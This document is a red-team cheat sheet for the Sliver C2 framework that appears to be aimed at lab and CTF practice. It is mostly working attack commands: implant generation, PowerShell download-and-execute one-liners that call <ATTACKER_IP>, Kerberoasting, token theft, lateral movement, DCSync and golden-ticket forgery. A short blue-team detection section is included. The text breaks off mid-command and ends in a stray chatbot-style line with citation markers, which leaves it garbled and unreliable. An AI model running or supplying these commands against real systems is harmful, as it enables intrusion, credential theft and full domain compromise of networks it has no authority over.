Intro to C2 Operations with Sliver

Legend: [SERVER] = Run on Sliver C2 server | [CLIENT] = Run in Sliver console | [IMPLANT] = Run inside active session/beacon | [HOST] = Run on attacker host OS

1. What is Sliver C2

What it means: Sliver is an open-source, cross-platform Command and Control (C2) framework written in Go, developed by Bishop Fox. It is used by red teams (and increasingly real threat actors) as a modern alternative to Cobalt Strike. Sliver handles implant generation, listener management, payload delivery, post-exploitation, pivoting, and extension of capabilities via its Armory package manager.

Attacker Machine (Sliver Server) │ │ ← HTTP(S) / mTLS / WireGuard / DNS / Named Pipes │ Victim Machine (Implant/Beacon running in memory)

Sliver vs Cobalt Strike

Feature	Sliver	Cobalt Strike
Cost	Free / Open Source	~$5,000/yr license
Language	Go	Java
Implant	Sliver implant (Go binary)	Beacon (shellcode)
Protocols	HTTP/S, mTLS, DNS, WG, Pipes	HTTP/S, DNS, SMB
Extensions	Armory (aliases + extensions)	BOF (Beacon Object Files)
Detection	Growing AV coverage	Well-signatured
Use in wild	Nation-state groups, ransomware	Most red teams

Key Concepts

Term	Meaning
Implant	The agent running on victim — parent term for sessions and beacons
Session	Interactive, persistent real-time connection (like a shell)
Beacon	Asynchronous — checks in at intervals, runs tasks, goes to sleep
Listener	Server-side handler waiting for implant connections
Alias	Sliver Armory package — wraps a binary (run via execute-assembly)
Extension	Sliver Armory package — wraps a DLL/BOF loaded in-process
Armory	Built-in package manager for third-party tools
Operator	Person interacting with Sliver via its client console

2. Setting Up Sliver

What it means: Sliver has a server/client architecture. The server runs as a daemon and manages all listeners and implants. Operators connect via a Sliver client console. You can run both on the same machine for solo ops, or have multiple operators connect to one server.

2.1 Install Sliver Server

# One-line install (auto-detects OS)
curl https://sliver.sh/install | sudo bash

# Manual — download binary from GitHub releases
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Start the server (also launches console for solo ops)
sudo sliver-server

# Or run as a daemon
sudo sliver-server daemon &

2.2 Launch Sliver Console

# If installed via script, just run:
sliver

# Or connect the client binary to a running daemon
sliver-client

2.3 Multi-Operator Setup

# On the server — generate an operator config file
[SERVER] sliver > new-operator --name zoro --lhost <SERVER_IP> --save /tmp/zoro.cfg

# On the operator machine — import config and connect
sliver-client import /tmp/zoro.cfg
sliver-client

2.4 Set Up Listeners

# HTTP listener (port 80)
[CLIENT] sliver > http

# HTTPS listener (port 443) with domain fronting / custom cert
[CLIENT] sliver > https --domain c2.yourdomain.com

# mTLS listener (default port 8888) — encrypted, harder to detect
[CLIENT] sliver > mtls

# DNS listener
[CLIENT] sliver > dns --domains c2.yourdomain.com

# WireGuard listener
[CLIENT] sliver > wg

# List all active listeners/jobs
[CLIENT] sliver > jobs

# Kill a specific job
[CLIENT] sliver > jobs -k <JOB_ID>

3. Implants, Beacons and More

What it means: Sliver supports two implant modes. Session mode is interactive — you get a real-time shell. Beacon mode is asynchronous — the implant checks in at intervals, picks up tasks, executes them offline, and returns results. Beacons are stealthier for long-term ops. Sessions are better for fast interactive work.

Session Mode: Victim ─── persistent connection ──► C2 (immediate response) Beacon Mode: Victim ──── check-in every N secs ──► C2 (async, sleeps in between)

3.1 Generate Implants

# --- SESSION IMPLANTS ---

# HTTP session implant — Windows (default)
[CLIENT] sliver > generate --http <C2_IP> --save /tmp/implant.exe

# HTTPS session implant
[CLIENT] sliver > generate --https <C2_IP>:<PORT> --save /tmp/implant.exe

# mTLS session implant (most reliable in lab)
[CLIENT] sliver > generate --mtls <C2_IP>:8888 --save /tmp/implant.exe

# Linux session implant
[CLIENT] sliver > generate --http <C2_IP> --os linux --save /tmp/implant_lin

# macOS session implant
[CLIENT] sliver > generate --http <C2_IP> --os mac --save /tmp/implant_mac

# --- BEACON IMPLANTS ---

# HTTP beacon — check in every 60s with ±30s jitter
[CLIENT] sliver > generate beacon --http <C2_IP> \
 --seconds 60 --jitter 30 --save /tmp/beacon.exe

# mTLS beacon
[CLIENT] sliver > generate beacon --mtls <C2_IP>:8888 \
 --seconds 30 --jitter 10 --save /tmp/beacon.exe

# WireGuard beacon
[CLIENT] sliver > generate beacon --wg <C2_IP> --save /tmp/wg_beacon.exe

# DNS beacon
[CLIENT] sliver > generate beacon --dns c2.domain.com --save /tmp/dns_beacon.exe

3.2 Advanced Generation Flags

# Change implant name (avoid random names)
[CLIENT] sliver > generate --http <C2_IP> --save . --name svchost_upd

# Specify architecture
[CLIENT] sliver > generate --http <C2_IP> --arch amd64 --save .

# Obfuscate the implant (symbol stripping + garble)
[CLIENT] sliver > generate --http <C2_IP> --obfuscate --save .

# Skip symbols (smaller binary)
[CLIENT] sliver > generate --http <C2_IP> --skip-symbols --save .

# Output as shellcode (for injection)
[CLIENT] sliver > generate --http <C2_IP> --format shellcode --save .

# Output as shared library (DLL)
[CLIENT] sliver > generate --http <C2_IP> --format shared --save .

# Multiple C2 endpoints (failover)
[CLIENT] sliver > generate --http <C2_IP1> --http <C2_IP2> --save .

3.3 Manage Sessions and Beacons

# List active sessions
[CLIENT] sliver > sessions

# List active beacons
[CLIENT] sliver > beacons

# Interact with a session
[CLIENT] sliver > use <SESSION_ID>
# Or: sessions -i <SESSION_ID>

# Interact with a beacon
[CLIENT] sliver > beacons -i <BEACON_ID>

# Upgrade beacon to interactive session
[IMPLANT] sliver (beacon) > interactive

# Background current session
[IMPLANT] sliver (session) > background

# Kill a session
[IMPLANT] sliver (session) > exit
[CLIENT] sliver > sessions -k <SESSION_ID>

# Rename a session
[CLIENT] sliver > sessions --rename <SESSION_ID> --name dc01_admin

3.4 Armory — Package Manager

What it means: Armory is Sliver's built-in package manager for installing third-party offensive tools. Aliases wrap standalone binaries (run via execute-assembly). Extensions load DLLs/BOFs in-process for stealth. This is how you get Rubeus, SharpHound, Certify, Seatbelt, etc. working directly inside your implant.

# Update armory index
[CLIENT] sliver > armory update

# List all available packages
[CLIENT] sliver > armory

# Search for a specific tool
[CLIENT] sliver > armory search rubeus
[CLIENT] sliver > armory search sharp

# Install a package (e.g., Rubeus)
[CLIENT] sliver > armory install rubeus

# Install ALL armory packages (lab only — noisy)
[CLIENT] sliver > armory install all

# List installed packages
[CLIENT] sliver > aliases
[CLIENT] sliver > extensions

# Update all installed packages
[CLIENT] sliver > armory update

3.5 Core Implant Commands

# --- INFO / RECON ---
[IMPLANT] > whoami # current user
[IMPLANT] > getuid # user SID
[IMPLANT] > getgid # group
[IMPLANT] > getpid # current process PID
[IMPLANT] > ps # list processes
[IMPLANT] > netstat # network connections
[IMPLANT] > ifconfig # network interfaces
[IMPLANT] > env # environment variables
[IMPLANT] > info # session/implant info

# --- FILESYSTEM ---
[IMPLANT] > ls # list directory
[IMPLANT] > cd C:\\Windows\\Temp
[IMPLANT] > cat C:\\Users\\bob\\secret.txt
[IMPLANT] > download C:\\Users\\bob\\file.txt # download to attacker
[IMPLANT] > upload /tmp/evil.exe C:\\Temp\\ # upload to victim
[IMPLANT] > rm C:\\Temp\\evil.exe
[IMPLANT] > mkdir C:\\Temp\\newdir

# --- EXECUTION ---
[IMPLANT] > execute -o cmd.exe /c whoami /all # run OS command
[IMPLANT] > shell # interactive shell (sessions only)
[IMPLANT] > powershell -s Get-Process # run PowerShell

# --- IN-MEMORY EXECUTION ---
[IMPLANT] > execute-assembly /local/path/Rubeus.exe kerberoast
[IMPLANT] > execute-assembly /local/path/SharpHound.exe -c All
[IMPLANT] > execute-assembly /local/path/Seatbelt.exe all

# --- SCREENSHOT / INTERACTION ---
[IMPLANT] > screenshot # take screenshot
[IMPLANT] > msf-stager # generate MSF compatible stager

4. Initial Access — Probing the Surface

What it means: Before running your implant, you need initial access to a host. This section covers how to deliver your implant payload and interact with the target machine for the first time. "Probing the surface" means checking what's exposed and identifying the entry point.

4.1 Payload Delivery Methods

# --- METHOD 1: Direct download and execute (if you have a shell) ---
# Host the implant
python3 -m http.server 8080

# On victim (PowerShell)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>:8080/implant.exe', 'C:\Temp\implant.exe'); Start-Process C:\Temp\implant.exe"

# Or one-liner in-memory
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/run.ps1')"

# --- METHOD 2: SMB delivery (if you have creds) ---
# Place implant on attacker SMB share
impacket-smbserver share /tmp/implants -smb2support

# Execute from victim via WMI
wmiexec.py lab.local/attacker:Pass123!@<TARGET_IP> \
 "cmd.exe /c \\\\<ATTACKER_IP>\\share\\implant.exe"

# --- METHOD 3: psexec delivery ---
psexec.py lab.local/attacker:Pass123!@<TARGET_IP> \
 "\\\\<ATTACKER_IP>\\share\\implant.exe"

4.2 Validate Initial Access

# After implant runs, check sessions
[CLIENT] sliver > sessions
# Should see new session appear

# Interact and verify
[CLIENT] sliver > use <SESSION_ID>
[IMPLANT] > whoami
[IMPLANT] > info
[IMPLANT] > getpid
[IMPLANT] > ps | grep -i implant

5. Privilege Escalation

What it means: After getting an implant running as a low-privileged user, the next step is to escalate to SYSTEM or a local admin account before moving to domain attacks.

5.1 Check Current Privileges

[IMPLANT] > execute -o cmd.exe /c whoami /all
[IMPLANT] > execute -o cmd.exe /c whoami /priv

# Seatbelt — comprehensive host privilege audit
[IMPLANT] > execute-assembly /tools/Seatbelt.exe all
[IMPLANT] > execute-assembly /tools/Seatbelt.exe TokenPrivileges
[IMPLANT] > execute-assembly /tools/Seatbelt.exe LocalGroups

5.2 Token Manipulation

# List available tokens on the machine
[IMPLANT] > execute-assembly /tools/TokenPlayer.exe list

# Steal a SYSTEM or high-priv token
[IMPLANT] > execute-assembly /tools/TokenPlayer.exe steal <PID_of_priv_process>

# Sliver built-in token commands
[IMPLANT] > impersonate <USERNAME>
[IMPLANT] > rev2self # revert to original token
[IMPLANT] > getsystem # attempt SYSTEM escalation

5.3 UAC Bypass

# SharpBypassUAC via armory
[IMPLANT] > sharp-bypass-uac -command "C:\Temp\implant.exe"

# Or via execute-assembly
[IMPLANT] > execute-assembly /tools/SharpBypassUAC.exe -command cmd.exe

5.4 SeImpersonatePrivilege (Potato Attacks)

# GodPotato — if SeImpersonatePrivilege is present
[IMPLANT] > execute-assembly /tools/GodPotato.exe \
 -cmd "cmd.exe /c C:\\Temp\\implant.exe"

# PrintSpoofer (alternative)
[IMPLANT] > execute-assembly /tools/PrintSpoofer.exe -i -c cmd.exe

# Verify you're SYSTEM
[IMPLANT] > whoami

6. Assumed Breach

What it means: In a red team engagement or CTF with "assumed breach" scope, you start with pre-planted credentials, a working implant session, or a low-privilege foothold — simulating an attacker who has already bypassed perimeter controls. You skip initial access and go straight to recon and escalation.

# Start with creds — use impacket to get initial shell, then deliver implant
wmiexec.py lab.local/attacker:Pass123!@<TARGET_IP>

# OR use CrackMapExec to validate and execute implant delivery
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' \
 -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/run.ps1')"

# OR start assumed breach with an NTLM hash (Pass-the-Hash)
wmiexec.py -hashes :<NTLM_HASH> lab.local/attacker@<TARGET_IP>
crackmapexec smb <TARGET_IP> -u attacker -H <NTLM_HASH> -x "C:\Temp\beacon.exe"

7. Domain Reconnaissance

What it means: Once you have a session/beacon running on a domain-joined machine, the next step is understanding the domain structure — users, groups, DCs, trusts, and attack paths. Sliver's execute-assembly lets you run SharpView, SharpHound, and other .NET tools in memory without touching disk.

7.1 Basic Domain Info

# Built-in Sliver commands
[IMPLANT] > execute -o cmd.exe /c net user /domain
[IMPLANT] > execute -o cmd.exe /c net group "Domain Admins" /domain
[IMPLANT] > execute -o cmd.exe /c net group "Domain Controllers" /domain
[IMPLANT] > execute -o cmd.exe /c nltest /domain_trusts

# c2tc extension (if installed)
[IMPLANT] > c2tc-domain-info

7.2 PowerView via SharpSh / execute-assembly

# Host PowerView on HTTP server
# python3 -m http.server 8000

# Run PowerView commands via sharpsh (in-memory PowerShell)
[IMPLANT] > sharpsh -u http://<ATTACKER_IP>:8000/PowerView.ps1 \
 -c "Get-DomainUser | select SamAccountName, Description"

[IMPLANT] > sharpsh -u http://<ATTACKER_IP>:8000/PowerView.ps1 \
 -c "Get-DomainComputer | select Name, DNSHostName, OperatingSystem"

[IMPLANT] > sharpsh -u http://<ATTACKER_IP>:8000/PowerView.ps1 \
 -c "Get-DomainGroupMember -Identity 'Domain Admins'"

[IMPLANT] > sharpsh -u http://<ATTACKER_IP>:8000/PowerView.ps1 \
 -c "Find-InterestingDomainAcl -ResolveGUIDs"

[IMPLANT] > sharpsh -u http://<ATTACKER_IP>:8000/PowerView.ps1 \
 -c "Get-DomainTrustMapping"

7.3 SharpView (PowerView .NET port)

[IMPLANT] > execute-assembly /tools/SharpView.exe Get-DomainUser \
 -t 240 -i -E -M

[IMPLANT] > execute-assembly /tools/SharpView.exe Get-DomainUser \
 -Properties samaccountname,description -t 120

[IMPLANT] > execute-assembly /tools/SharpView.exe Get-DomainComputer \
 -t 120

[IMPLANT] > execute-assembly /tools/SharpView.exe Get-DomainGroupMember \
 -Identity "Domain Admins" -t 120

[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Find-InterestingDomainAcl -t 300

[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Get-DomainTrustMapping -t 300

7.4 BloodHound Collection (SharpHound)

# Run SharpHound from implant — saves ZIP to disk
[IMPLANT] > execute-assembly /tools/SharpHound.exe \
 -c All --zipfilename results.zip -t 300

# Download the collection ZIP
[IMPLANT] > download C:\\Users\\attacker\\results.zip

# Import into BloodHound on attacker machine
# BloodHound → Upload → select the .zip

7.5 Seatbelt — Host Situational Awareness

# Full system audit
[IMPLANT] > execute-assembly /tools/Seatbelt.exe all

# Specific checks
[IMPLANT] > execute-assembly /tools/Seatbelt.exe \
 TokenPrivileges LocalGroups CredGuard LAPS AuditPolicies

# Credential sources
[IMPLANT] > execute-assembly /tools/Seatbelt.exe \
 CredentialFiles DpapiBlobFiles WindowsCredentialFiles

8. Pivoting

What it means: Pivoting uses a compromised machine as a relay to reach internal network segments that your attacker machine can't access directly. Sliver provides SOCKS5 proxy, port forwarding, and TCP pivot listeners — all tunneled through your implant's C2 channel.

8.1 SOCKS5 Proxy via Implant

# Start SOCKS5 proxy through the implant (sessions only)
[IMPLANT] > socks5 start --host 127.0.0.1 --port 1080

# Verify it's running
[IMPLANT] > socks5

# On attacker host — configure proxychains
nano /etc/proxychains4.conf
# Add at bottom:
# socks5 127.0.0.1 1080

# Use proxychains to route tools through the pivot
[HOST] proxychains4 crackmapexec smb <INTERNAL_IP>
[HOST] proxychains4 nmap -sT -Pn -n <INTERNAL_SUBNET>/24
[HOST] proxychains4 secretsdump.py lab.local/attacker:Pass123!@<INTERNAL_DC>
[HOST] proxychains4 wmiexec.py lab.local/attacker:Pass123!@<INTERNAL_IP>

# Stop the SOCKS proxy
[IMPLANT] > socks5 stop --id <SOCKS_ID>

8.2 Port Forwarding

# Forward attacker local port 8080 → internal target port 22
[IMPLANT] > portfwd add --remote <INTERNAL_IP>:22
# Now SSH to 127.0.0.1:8080 → reaches INTERNAL_IP:22

# Forward to internal web server
[IMPLANT] > portfwd add --remote <INTERNAL_IP>:80

# List active port forwards
[IMPLANT] > portfwd

# Remove a port forward
[IMPLANT] > portfwd rm <ID>

8.3 TCP Pivot Listener (Chaining Implants)

# On the first (outer) implant — start a TCP pivot listener
[IMPLANT-OUTER] > pivots tcp --bind <OUTER_IP>:9090

# Generate a new implant that connects BACK through the pivot
[CLIENT] sliver > generate beacon \
 --tcp-pivot <OUTER_IP>:9090 \
 --save /tmp/inner_beacon.exe

# Deliver inner_beacon.exe to the internal (unreachable) machine
# It routes back through outer implant → C2 server
# You'll see a new session appear in Sliver

9. Kerberos Exploitation

What it means: Sliver itself doesn't have built-in Kerberos attack commands, but via execute-assembly you can run Rubeus (or other .NET tools) fully in-memory through your implant session, chaining Kerberoasting, AS-REP roasting, and ticket abuse with the C2 channel.

9.1 Kerberoasting via Rubeus

# Install Rubeus via Armory
[CLIENT] sliver > armory install rubeus

# Kerberoast all SPNs — in-memory
[IMPLANT] > rubeus kerberoast /outfile:C:\\Temp\\kerb.hash /nowrap

# Or via execute-assembly
[IMPLANT] > execute-assembly /tools/Rubeus.exe kerberoast /nowrap

# Download and crack
[IMPLANT] > download C:\\Temp\\kerb.hash
[HOST] hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt

9.2 AS-REPRoasting via Rubeus

[IMPLANT] > rubeus asreproast /format:hashcat /outfile:C:\\Temp\\asrep.hash /nowrap
[IMPLANT] > download C:\\Temp\\asrep.hash
[HOST] hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

9.3 Dump Tickets from Memory

# Dump all Kerberos tickets from LSASS
[IMPLANT] > rubeus dump /nowrap

# Dump specific user TGT
[IMPLANT] > rubeus dump /user:Administrator /service:krbtgt /nowrap

# Monitor for new TGTs arriving (coercion/delegation scenarios)
[IMPLANT] > rubeus monitor /interval:5 /filteruser:DC01$ /nowrap

9.4 Pass-the-Ticket via Rubeus

# Inject a captured/forged ticket into current session
[IMPLANT] > rubeus ptt /ticket:<base64_ticket>

# Verify
[IMPLANT] > rubeus klist
[IMPLANT] > execute -o cmd.exe /c klist

10. Impersonation

What it means: Once you have credentials (plaintext, NTLM hash, or Kerberos ticket), you can impersonate other users in your implant session — either via Sliver's built-in token commands or by injecting a Kerberos ticket with Rubeus.

# --- TOKEN IMPERSONATION ---

# List running processes and their tokens
[IMPLANT] > ps

# Steal a token from a privileged process (PID)
[IMPLANT] > impersonate <USERNAME> # impersonate by name
# OR
[IMPLANT] > execute-assembly /tools/TokenPlayer.exe steal <PID>

# Revert to original token
[IMPLANT] > rev2self

# --- MAKE TOKEN (with plaintext creds) ---
# Creates a new token using credentials — doesn't need local admin
[IMPLANT] > make-token --username Administrator \
 --domain lab.local --password 'Pass123!'

# --- KERBEROS TICKET INJECTION ---
# Get a TGT with Rubeus using creds
[IMPLANT] > rubeus asktgt /user:Administrator /password:Pass123! \
 /domain:lab.local /ptt

# Get TGT via Pass-the-Hash
[IMPLANT] > rubeus asktgt /user:Administrator /rc4:<NTLM_HASH> \
 /domain:lab.local /ptt

# --- OVERPASS-THE-HASH (NTLM → Kerberos TGT) ---
[IMPLANT] > rubeus asktgt /user:Administrator /rc4:<NTLM_HASH> \
 /domain:lab.local /createnetonly:C:\\Windows\\System32\\cmd.exe /show /ptt

11. Lateral Movement

What it means: With valid credentials, token, or a ticket injected, you move to other machines in the domain. Sliver's psexec, wmiexec, or in-memory execution + implant drop are the primary methods. Each method leaves different forensic artifacts.

11.1 PsExec via Sliver + Impacket

# After SOCKS5 is running, use impacket through proxy
[HOST] proxychains4 psexec.py lab.local/Administrator:Pass123!@<TARGET_IP>

# OR use PTH
[HOST] proxychains4 psexec.py -hashes :<NTLM_HASH> \
 lab.local/Administrator@<TARGET_IP>

# Upload and execute new beacon on lateral target
[HOST] proxychains4 psexec.py lab.local/Administrator:Pass123!@<TARGET_IP> \
 "cmd.exe /c \\\\<ATTACKER_IP>\\share\\beacon.exe"

11.2 WMI Execution

[HOST] proxychains4 wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>

# Execute specific command via WMI
[HOST] proxychains4 wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP> \
 "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/run.ps1')"

11.3 WinRM / Evil-WinRM

# Via proxychains (SOCKS tunnel)
[HOST] proxychains4 evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!'

# Pass-the-Hash
[HOST] proxychains4 evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>

# With Kerberos ticket
export KRB5CCNAME=admin.ccache
[HOST] proxychains4 evil-winrm -i <TARGET_IP> -u Administrator -r lab.local

11.4 SMB Exec via CrackMapExec

[HOST] proxychains4 crackmapexec smb <TARGET_IP> \
 -u Administrator -p 'Pass123!' -x "whoami"

# Deliver beacon
[HOST] proxychains4 crackmapexec smb <TARGET_IP> \
 -u Administrator -p 'Pass123!' \
 -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/run.ps1')"

11.5 In-Implant Lateral Movement (DCOM)

# SharpLateral / DCOM lateral movement from within implant
[IMPLANT] > execute-assembly /tools/SharpLateral.exe \
 -c dcom -t <TARGET_IP> -u Administrator -p 'Pass123!' \
 -e "cmd.exe" -a "/c C:\\Temp\\beacon.exe"

12. Kerberos Delegations via Sliver

What it means: Run Rubeus delegation attacks (KCD, RBCD, Unconstrained) fully in-memory through your Sliver implant. See the full delegation notes for step-by-step attack details — here you learn how to run them via Sliver.

# Find delegation accounts
[IMPLANT] > execute-assembly /tools/Rubeus.exe find /full

# --- UNCONSTRAINED DELEGATION ---
# Monitor for TGTs on an unconstrained machine
[IMPLANT] > rubeus monitor /interval:5 /nowrap

# Coerce DC to authenticate via Spoolsample (Windows)
[IMPLANT] > execute-assembly /tools/SpoolSample.exe <DC_IP> <IMPLANT_IP>

# --- CONSTRAINED DELEGATION (KCD) ---
# S4U2Self + S4U2Proxy
[IMPLANT] > rubeus s4u /user:<svc_account> /rc4:<NTLM_HASH> \
 /impersonateuser:Administrator \
 /msdsspn:"cifs/<target>.lab.local" \
 /domain:lab.local /ptt

# --- RBCD ---
# Add computer, set RBCD, then S4U
[IMPLANT] > execute-assembly /tools/Rubeus.exe \
 s4u /user:EVIL$ /password:Evil123! \
 /impersonateuser:Administrator \
 /msdsspn:"cifs/<TargetComputer>.lab.local" \
 /domain:lab.local /ptt

13. DACL Exploitation via Sliver

What it means: Run PowerView / SharpView DACL attacks (GenericAll, WriteDACL, WriteSPN, Shadow Credentials, ForceChangePassword) inside your Sliver session using execute-assembly.

# Find ACL misconfigurations
[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Find-InterestingDomainAcl -t 300

# Targeted Kerberoasting (add SPN + roast)
[IMPLANT] > execute-assembly /tools/targetedKerberoast.exe \
 -domain lab.local -t 120

# Shadow Credentials via pywhisker/.NET port
[IMPLANT] > execute-assembly /tools/Whisker.exe \
 add /target:targetuser /domain:lab.local /dc:dc01.lab.local

# Force password change
[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Set-DomainUserPassword -Identity targetuser -Password 'NewPass!'

# Add self to Domain Admins
[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

14. Domain Controller Compromise

What it means: The final step before full domain ownership. Once you have DA or DCSync rights, you extract the krbtgt hash via DCSync, enabling Golden Ticket persistence.

# --- DCSYNC VIA MIMIKATZ (in-memory) ---
[IMPLANT] > execute-assembly /tools/mimikatz.exe \
 "lsadump::dcsync /domain:lab.local /user:krbtgt" exit

# Upload and run Mimikatz (if execute-assembly fails due to size)
[IMPLANT] > upload /tools/mimikatz.exe C:\\Temp\\mimi.exe
[IMPLANT] > execute -o C:\\Temp\\mimi.exe \
 "lsadump::dcsync /domain:lab.local /user:krbtgt exit"

# --- DCSYNC VIA SECRETSDUMP (from attacker via SOCKS) ---
[HOST] proxychains4 secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc

# --- GOLDEN TICKET (AFTER DCSYNC) ---
[IMPLANT] > rubeus golden /rc4:<KRBTGT_HASH> \
 /domain:lab.local \
 /sid:S-1-5-21-XXXXXXXX-XXXXXXXX-XXXXXXXX \
 /user:FakeAdmin /id:500 /ptt

# Verify and use
[IMPLANT] > execute -o cmd.exe /c klist
[IMPLANT] > execute -o cmd.exe /c dir \\dc01.lab.local\C$

15. Whole Forest Compromise

What it means: With DA in the source domain and the krbtgt hash, use ExtraSids / Golden Ticket injection to move into trusted forests. See the Cross Forest Attacks note for full commands — here's how you execute them via Sliver.

# Dump inter-forest trust key
[IMPLANT] > execute-assembly /tools/mimikatz.exe \
 "lsadump::trust /patch" exit

# Get target forest group SID
[IMPLANT] > execute-assembly /tools/SharpView.exe \
 Get-DomainGroup -Identity "TargetAdmins" -Domain target.local

# Forge ExtraSids Golden Ticket via Rubeus
[IMPLANT] > rubeus golden \
 /rc4:<TRUST_KEY_NTLM> \
 /domain:lab.local \
 /sid:S-1-5-21-SOURCE-DOMAIN-SID \
 /sids:S-1-5-21-TARGET-DOMAIN-SID-1103 \
 /service:krbtgt/TARGET.LOCAL \
 /user:Administrator /ptt

# Access target forest DC
[IMPLANT] > execute -o cmd.exe /c dir \\dc02.target.local\C$

16. Detection of Sliver

What it means: Blue teams use multiple layers to detect Sliver — network signatures, process memory scanning, behavioral analysis, and endpoint telemetry. Understanding detection helps you evade it or, from a blue team perspective, defend against it.

Network Indicators

Protocol	Default Port	Detection Indicator
HTTP	80, 8080	Unusual JA3 hash; random URI paths; odd User-Agent
HTTPS	443, 8443	Self-signed certs; JA3S fingerprint; certificate anomalies
mTLS	8888	Mutual TLS on non-standard port
DNS	53	High-volume DNS queries; encoded subdomains
WireGuard	51820	WG traffic to non-VPN IPs

Host-based Indicators

Process: random name .exe spawned from unusual parent Memory: Go runtime artifacts in process memory Behavior: execute-assembly spawns sacrificial process (CreateProcess with suspended flag) File: .sliver-client config in %APPDATA% (operator machines) Registry: implant persistence (if configured)

Detection Commands (Blue Team)

# Check for suspicious processes with parent mismatch
Get-WmiObject Win32_Process | Select Name, ParentProcessId, ProcessId, CommandLine

# Look for injected Go binaries (memory scan)
# Any process with Go runtime exports is a red flag

# Network — check for JA3 hashes matching Sliver defaults
# Zeek / Suricata rules available at:
# https://github.com/BishopFox/sliver/tree/master/server/configs

# Check for sacrificial process creation (svchost.exe with unusual parent)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
 Where-Object {$_.Message -match "svchost.exe"}

Evade Detection (Red Team Opsec)

# Use --obfuscate flag during generation
[CLIENTHere is your complete Sliver C2 note, same format as all previous notes, covering every section visible in both screenshots:[2][3][1]